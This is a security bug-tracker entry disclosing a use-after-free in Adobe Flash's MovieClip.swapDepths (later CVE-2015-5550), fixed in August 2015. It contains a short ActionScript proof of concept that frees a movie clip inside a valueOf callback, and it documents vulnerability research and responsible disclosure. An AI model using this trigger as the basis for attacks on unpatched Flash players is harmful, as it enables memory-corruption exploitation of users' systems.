New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 2 users
Status: Fixed
Owner:
Email to this user bounced
Closed: Aug 2015
Cc:



Sign in to add a comment
Adobe Flash: use-after-free in swapDepths
Project Member Reported by natashenka@google.com, May 22 2015 Back to list
There is a use-after-free in MovieClip.swapDepths, a POC is as follows:

var clip1 = this.createEmptyMovieClip("clip1", 1);
var clip2 = this.createEmptyMovieClip("clip2", 2);

var n = {valueOf: func, toString: func};

clip1.swapDepths(n);

function func(){
	
	clip1.removeMovieClip();
	//_root.createEmptyMovieClip("test", 1);
	
	trace("here");
	return "clip2";
	}

A swf and fla are attached.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

 
swap.swf
705 bytes Download
swap.fla
4.7 KB Download
Comment 1 by cevans@google.com, May 26 2015
Labels: Id-3737
PSIRT-3737
Project Member Comment 2 by scvitti@google.com, May 28 2015
Labels: -Reported-2015-05-21 Reported-2015-May-21
Project Member Comment 3 by natashenka@google.com, Aug 11 2015
Labels: CVE-2015-5550
Project Member Comment 4 by natashenka@google.com, Aug 11 2015
Status: Fixed
Project Member Comment 5 by natashenka@google.com, Aug 18 2015
Labels: -Restrict-View-Commit
Fixed in https://helpx.adobe.com/security/products/flash-player/apsb15-19.html
Sign in to add a comment